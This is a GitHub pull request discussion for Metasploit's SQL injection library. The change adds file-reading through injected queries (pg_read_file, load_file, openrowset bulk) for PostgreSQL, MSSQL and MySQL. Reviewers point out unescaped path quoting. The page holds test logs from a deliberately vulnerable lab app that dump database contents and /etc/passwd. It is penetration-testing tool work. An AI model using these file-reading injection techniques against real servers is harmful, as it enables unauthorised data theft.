Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add #read_from_file for MSSQL and PostgreSQL, fix the MySQL implementation #16650

Merged
merged 4 commits into from
Jun 17, 2022

Conversation

red0xff
Copy link
Contributor

@red0xff red0xff commented Jun 5, 2022

This PR implements the method #read_from_file for PostgreSQL and MSSQL, and fixes the MySQL implementation

 Details

The added methods

The PostgreSQL method uses pg_read_file or pg_read_binary_file to read the file.

The MSSQL method uses the construct select BulkColumn from openrowset(bulk N'/etc/passwd',SINGLE_CLOB) as Content.

The fix

The MySQL #read_from_file method now takes into consideration the encoder in use, and @truncation_query (it's possible to use it if the output of the query gets truncated, or if an encoder is required to get it to work).

Verification

For MySQL, don't forget to grant the FILE privilege to the user using the load_file function.

Just add something like the following to test/modules/auxiliary/test/sqli_test.rb

passwd_content = sqli.read_from_file('/etc/passwd')
print_good("Got #{passwd_content}")

And test it with the different encoders.

if binary
# pg_read_binary_file returns bytea
# an encoder might be needed
call_function("pg_read_binary_file('#{fpath}')")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Does this method handle the scenario where fpath containing unmatched single/double quote? Also, same question for MYSQL and MSSQL.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Always worth checking if the sql injection library is vulnerable to sql injection 😄

@gwillcox-r7 gwillcox-r7 self-assigned this Jun 10, 2022
def read_from_file(fpath)
run_sql("select load_file('#{fpath}')")
def read_from_file(fpath, binary=false)
call_function("load_file('#{fpath}')")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Won't this be an issue if the path contains single quotes at all? You can create paths on both Linux and Windows with single quotes so I'd advise looking at escaping the path before putting it into something like this.

This also applies to the other cases here.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm looking for a way to fix it, not allowing quotes at all seems to be a bad idea (as they might be escaped, and part of filenames on Linux, they might not be escaped, and valid on Windows). But I have yet to find a way to check if a path is valid. I'll look for path specifications before trying to address this.

Comment on lines +213 to +214
# pg_read_binary_file returns bytea
# an encoder might be needed
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this comment still relevant? This isn't something we should leave up in the air before trying to land this in my opinion.

expr = @encoder ? @encoder[:encode].sub(/\^DATA\^/, 'BulkColumn') : 'BulkColumn'
output = if @truncation_length
truncated_query("select substring(#{expr},^OFFSET^,#{@truncation_length}) " \
"from openrowset(bulk N'#{fpath}',SINGLE_CLOB) as #{alias1}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

fpath could contain single quotes which would break this query string.

@gwillcox-r7
Copy link
Contributor

Seems to be working with PostgreSQL though did find another bug that should be fixed in another PR whereby unsetting the ENCODER will result in an error due to lack of proper checks on datastore['ENCODER']:

msf6 payload(windows/x64/meterpreter/reverse_tcp) > loadpath test/modules/
Loaded 38 modules:
    14 auxiliary modules
    13 exploit modules
    11 post modules
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/test/sqli_test 
msf6 auxiliary(test/sqli_test) > show options

Module options (auxiliary/test/sqli_test):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   DBMS                MariaDB          yes       The DBMS to target (Accepted: MariaDB, PostgreSQL, Sqlite, MSSQL)
   ENCODER                              no        an encoder to use (hex for example)
   HEX_ENCODE_STRINGS  false            no        Replace strings in the query with hex numbers?
   RHOSTS              127.0.0.1        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
                                                  ing-Metasploit
   RPORT               1337             yes       The target port
   SAFE                false            no        Use safe mode
   SQLI_TYPE           Regular          yes       The type of SQL injection to test (Accepted: Regular, BooleanBlind, TimeBlind)
   TARGETURI           /                yes       The target URI
   TRUNCATION_LENGTH   0                yes       Test SQLi with truncated output (0 or negative to disable)

msf6 auxiliary(test/sqli_test) > set DBMS PostgreSQL 
DBMS => PostgreSQL
msf6 auxiliary(test/sqli_test) > set ENCODER base64
ENCODER => base64
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: PostgreSQL 13.7 (Debian 13.7-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash

[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > set ENCODER hex
ENCODER => hex
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: PostgreSQL 13.7 (Debian 13.7-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash

[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > unset ENCODER hex
Unsetting ENCODER...
Unsetting hex...
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[-] Auxiliary failed: NoMethodError undefined method `empty?' for nil:NilClass
[-] Call stack:
[-]   /home/gwillcox/git/metasploit-framework/test/modules/auxiliary/test/sqli_test.rb:60:in `reflected'
[-]   /home/gwillcox/git/metasploit-framework/test/modules/auxiliary/test/sqli_test.rb:134:in `run'
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > unset ENCODER
Unsetting ENCODER...
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[-] Auxiliary failed: NoMethodError undefined method `empty?' for nil:NilClass
[-] Call stack:
[-]   /home/gwillcox/git/metasploit-framework/test/modules/auxiliary/test/sqli_test.rb:60:in `reflected'
[-]   /home/gwillcox/git/metasploit-framework/test/modules/auxiliary/test/sqli_test.rb:134:in `run'
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > unset ENCODER
Unsetting ENCODER...
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[-] Auxiliary failed: NoMethodError undefined method `empty?' for nil:NilClass
[-] Call stack:
[-]   /home/gwillcox/git/metasploit-framework/test/modules/auxiliary/test/sqli_test.rb:60:in `reflected'
[-]   /home/gwillcox/git/metasploit-framework/test/modules/auxiliary/test/sqli_test.rb:134:in `run'
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > 

@gwillcox-r7
Copy link
Contributor

MSSQL Results appear mostly fine however there appears to be a weird error with the single quote character getting transformed into some unreadable character in the output when using the hex encoder. Main functionality of this PR seems to work fine though.

msf6 auxiliary(test/sqli_test) > show options

Module options (auxiliary/test/sqli_test):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   DBMS                PostgreSQL       yes       The DBMS to target (Accepted: MariaDB, PostgreSQL, Sqlite, MSSQL)
   ENCODER                              no        an encoder to use (hex for example)
   HEX_ENCODE_STRINGS  false            no        Replace strings in the query with hex numbers?
   RHOSTS              127.0.0.1        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
                                                  ing-Metasploit
   RPORT               1337             yes       The target port
   SAFE                false            no        Use safe mode
   SQLI_TYPE           Regular          yes       The type of SQL injection to test (Accepted: Regular, BooleanBlind, TimeBlind)
   TARGETURI           /                yes       The target URI
   TRUNCATION_LENGTH   0                yes       Test SQLi with truncated output (0 or negative to disable)

msf6 auxiliary(test/sqli_test) > set DBMS MSSQL 
DBMS => MSSQL
msf6 auxiliary(test/sqli_test) > reload
[*] Reloading module...
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: Microsoft SQL Server 2019 (RTM-CU16) (KB5011644) - 15.0.4223.1 (X64) 
[+] tables: articles, users
[+] articles(content, id)
[+] 	Over 3.8 billion people use the internet today, which is 40% of the worlds population., 1
[+] 	8 billion devices will be connected to the internet by 2020., 2
[+] 	More than 570 new websites are created every minute., 3
[+] 	There are over 3.5 billion searches per day on Google., 4
[+] 	By 2020, video will account for about 80% of all internet traffic., 5
[+] 	340,000 tweets are sent per minute., 6
[+] 	90% of the world’s data has been created in the last couple years., 7
[+] users(password, username)
[+] 	PasswordTest1, red0xff
[+] 	AdminPass1337, admin
[+] 	GuestPass, guest
[+] Got root:x:0:0:root:/root:/bin/bash
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > set ENCODER base64
ENCODER => base64
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[-] Auxiliary failed: ArgumentError Unsupported encoder
[-] Call stack:
[-]   /home/gwillcox/git/metasploit-framework/lib/msf/core/exploit/sqli/mssqli/common.rb:239:in `check_opts'
[-]   /home/gwillcox/git/metasploit-framework/lib/msf/core/exploit/sqli/common.rb:30:in `initialize'
[-]   /home/gwillcox/git/metasploit-framework/lib/msf/core/exploit/sqli/mssqli/common.rb:32:in `initialize'
[-]   /home/gwillcox/git/metasploit-framework/lib/msf/core/exploit/sqli.rb:28:in `new'
[-]   /home/gwillcox/git/metasploit-framework/lib/msf/core/exploit/sqli.rb:28:in `create_sqli'
[-]   /home/gwillcox/git/metasploit-framework/test/modules/auxiliary/test/sqli_test.rb:62:in `reflected'
[-]   /home/gwillcox/git/metasploit-framework/test/modules/auxiliary/test/sqli_test.rb:134:in `run'
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > set ENCODER hex
ENCODER => hex
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: Microsoft SQL Server 2019 (RTM-CU16) (KB5011644) - 15.0.4223.1 (X64) 
	Apr 11 2022 16:24:07 
	Copyright (C) 2019 Microsoft Corporation
	Developer Edition (64-bit) on Linux (Ubuntu 20.04.4 LTS) <X64>
[+] tables: articles, users
[+] articles(content, id)
[+] 	Over 3.8 billion people use the internet today, which is 40% of the worlds population., 1
[+] 	8 billion devices will be connected to the internet by 2020., 2
[+] 	More than 570 new websites are created every minute., 3
[+] 	There are over 3.5 billion searches per day on Google., 4
[+] 	By 2020, video will account for about 80% of all internet traffic., 5
[+] 	340,000 tweets are sent per minute., 6
[+] 	90% of the world�s data has been created in the last couple years., 7
[+] users(password, username)
[+] 	PasswordTest1, red0xff
[+] 	AdminPass1337, admin
[+] 	GuestPass, guest
[+] Got root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mssql:x:10001:0::/home/mssql:/bin/bash

[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: Microsoft SQL Server 2019 (RTM-CU16) (KB5011644) - 15.0.4223.1 (X64) 
	Apr 11 2022 16:24:07 
	Copyright (C) 2019 Microsoft Corporation
	Developer Edition (64-bit) on Linux (Ubuntu 20.04.4 LTS) <X64>
[+] tables: articles, users
[+] articles(content, id)
[+] 	Over 3.8 billion people use the internet today, which is 40% of the worlds population., 1
[+] 	8 billion devices will be connected to the internet by 2020., 2
[+] 	More than 570 new websites are created every minute., 3
[+] 	There are over 3.5 billion searches per day on Google., 4
[+] 	By 2020, video will account for about 80% of all internet traffic., 5
[+] 	340,000 tweets are sent per minute., 6
[+] 	90% of the world�s data has been created in the last couple years., 7
[+] users(password, username)
[+] 	PasswordTest1, red0xff
[+] 	AdminPass1337, admin
[+] 	GuestPass, guest
[+] Got root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mssql:x:10001:0::/home/mssql:/bin/bash

[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) >

@gwillcox-r7
Copy link
Contributor

@red0xff Do you have a test for the MySQL implementation? I see your Docker solution at https://github.com/red0xff/sqli_vulnerable has a few implementations but I don't see a MySQL server within that collection.

@red0xff
Copy link
Contributor Author

red0xff commented Jun 16, 2022

@red0xff Do you have a test for the MySQL implementation? I see your Docker solution at https://github.com/red0xff/sqli_vulnerable has a few implementations but I don't see a MySQL server within that collection.

Hello, thanks for taking the time to test this.

The MariaDB server within that repository can be used for testing MySQL support (as every query the library generates for MySQL should be compatible with MariaDB as well).

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Jun 16, 2022

@red0xff Do you have a test for the MySQL implementation? I see your Docker solution at https://github.com/red0xff/sqli_vulnerable has a few implementations but I don't see a MySQL server within that collection.

Hello, thanks for taking the time to test this.

The MariaDB server within that repository can be used for testing MySQL support (as every query the library generates for MySQL should be compatible with MariaDB as well).

If they are so compatible, then it might be a good idea to add support for MariaDB version of #read_from_file, just as a thought if we are also doing this work so long now. On closer inspection I'm not actually sure we have a MariaDB SQLi library yet so ignore that comment 👍

@red0xff
Copy link
Contributor Author

red0xff commented Jun 16, 2022

@red0xff Do you have a test for the MySQL implementation? I see your Docker solution at https://github.com/red0xff/sqli_vulnerable has a few implementations but I don't see a MySQL server within that collection.

Hello, thanks for taking the time to test this.

The MariaDB server within that repository can be used for testing MySQL support (as every query the library generates for MySQL should be compatible with MariaDB as well).

If they are so compatible, then it might be a good idea to add support for MariaDB version of #read_from_file, just as a thought if we are also doing this work so long now.

To rename MySQL classes as MariaDB? or to add aliases?

#read_from_file from MySQL should work just fine with MariaDB (as with any other feature implemented for MySQL): https://mariadb.com/kb/en/load_file/

You can just select MySQL as the DBMS in metasploit, and test everything.

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Jun 16, 2022

@red0xff Do you have a test for the MySQL implementation? I see your Docker solution at https://github.com/red0xff/sqli_vulnerable has a few implementations but I don't see a MySQL server within that collection.

Hello, thanks for taking the time to test this.
The MariaDB server within that repository can be used for testing MySQL support (as every query the library generates for MySQL should be compatible with MariaDB as well).

If they are so compatible, then it might be a good idea to add support for MariaDB version of #read_from_file, just as a thought if we are also doing this work so long now.

To rename MySQL classes as MariaDB? or to add aliases?

#read_from_file from MySQL should work just fine with MariaDB (as with any other feature implemented for MySQL): https://mariadb.com/kb/en/load_file/

Sorry I was getting confused as auxiliary/test/sqli_test doesn't have a MySQL option for DBMS so it makes it seem like MySQL and MariaDB would require separate libraries or similar. More my confusion on things than anything else 😅 I'll get this testing done so long now.

@gwillcox-r7
Copy link
Contributor

So one thing I did want to ask is would there be a way to check if the user has the FILE privilege prior to using load_file? Otherwise we get results like this. Also note the base64 encoder seems to be still not returning full data for MariaDB/MySQL, not sure if this PR is meant to fix that bug but is something to note:

msf6 auxiliary(test/sqli_test) > show options

Module options (auxiliary/test/sqli_test):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   DBMS                Sqlite           yes       The DBMS to target (Accepted: MariaDB, PostgreSQL, Sqlite, MSSQL)
   ENCODER             hex              no        an encoder to use (hex for example)
   HEX_ENCODE_STRINGS  false            no        Replace strings in the query with hex numbers?
   RHOSTS              127.0.0.1        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
                                                  ing-Metasploit
   RPORT               1337             yes       The target port
   SAFE                false            no        Use safe mode
   SQLI_TYPE           Regular          yes       The type of SQL injection to test (Accepted: Regular, BooleanBlind, TimeBlind)
   TARGETURI           /                yes       The target URI
   TRUNCATION_LENGTH   0                yes       Test SQLi with truncated output (0 or negative to disable)

msf6 auxiliary(test/sqli_test) > set DBMS MariaDB 
DBMS => MariaDB
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got 
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > set ENCODER base64
ENCODER => base64
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got 
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > 

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Jun 16, 2022

Okay yeah so made the following update to init.sql for the mariadb

create table articles(id int, content text);
insert into articles values (1, 'Over 3.8 billion people use the internet today, which is 40% of the worlds population.'),
(2, '8 billion devices will be connected to the internet by 2020.'),
(3, 'More than 570 new websites are created every minute.'),
(4, 'There are over 3.5 billion searches per day on Google.'),
(5, 'By 2020, video will account for about 80% of all internet traffic.'),
(6, '340,000 tweets are sent per minute.'),
(7, '90% of the world’s data has been created in the last couple years.');

create table users(username varchar(32), password varchar(32));
insert into users values('red0xff', 'PasswordTest1'),
('admin', 'AdminPass1337'),
('guest', 'GuestPass');

grant file on *.* to 'user';
commit;

Running this however is getting the file however we are still not getting its full contents of the /etc/passwd file with the base64 encoder or with no encoder at all. The only one that does work is the hex encoder.

msf6 auxiliary(test/sqli_test) > show options

Module options (auxiliary/test/sqli_test):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   DBMS                MariaDB          yes       The DBMS to target (Accepted: MariaDB, PostgreSQL, Sqlite, MSSQL)
   ENCODER                              no        an encoder to use (hex for example)
   HEX_ENCODE_STRINGS  false            no        Replace strings in the query with hex numbers?
   RHOSTS              127.0.0.1        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
                                                  ing-Metasploit
   RPORT               1337             yes       The target port
   SAFE                false            no        Use safe mode
   SQLI_TYPE           Regular          yes       The type of SQL injection to test (Accepted: Regular, BooleanBlind, TimeBlind)
   TARGETURI           /                yes       The target URI
   TRUNCATION_LENGTH   0                yes       Test SQLi with truncated output (0 or negative to disable)

msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got root:x:0:0:root:/root:/bin/bash
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > set ENCODER hex
ENCODER => hex
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:999:999::/home/mysql:/bin/sh

[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > set ENCODER base64
ENCODER => base64
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > 

Copy link
Contributor

@gwillcox-r7 gwillcox-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Changes look good, still have other comments to fix r.e quotes which is why I haven't marked this as approved just yet though 👍

@red0xff
Copy link
Contributor Author

red0xff commented Jun 16, 2022

So one thing I did want to ask is would there be a way to check if the user has the FILE privilege prior to using load_file? Otherwise we get results like this. Also note the base64 encoder seems to be still not returning full data for MariaDB/MySQL, not sure if this PR is meant to fix that bug but is something to note:

msf6 auxiliary(test/sqli_test) > show options

Module options (auxiliary/test/sqli_test):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   DBMS                Sqlite           yes       The DBMS to target (Accepted: MariaDB, PostgreSQL, Sqlite, MSSQL)
   ENCODER             hex              no        an encoder to use (hex for example)
   HEX_ENCODE_STRINGS  false            no        Replace strings in the query with hex numbers?
   RHOSTS              127.0.0.1        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
                                                  ing-Metasploit
   RPORT               1337             yes       The target port
   SAFE                false            no        Use safe mode
   SQLI_TYPE           Regular          yes       The type of SQL injection to test (Accepted: Regular, BooleanBlind, TimeBlind)
   TARGETURI           /                yes       The target URI
   TRUNCATION_LENGTH   0                yes       Test SQLi with truncated output (0 or negative to disable)

msf6 auxiliary(test/sqli_test) > set DBMS MariaDB 
DBMS => MariaDB
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got 
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > set ENCODER base64
ENCODER => base64
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got 
[*] Auxiliary module execution completed
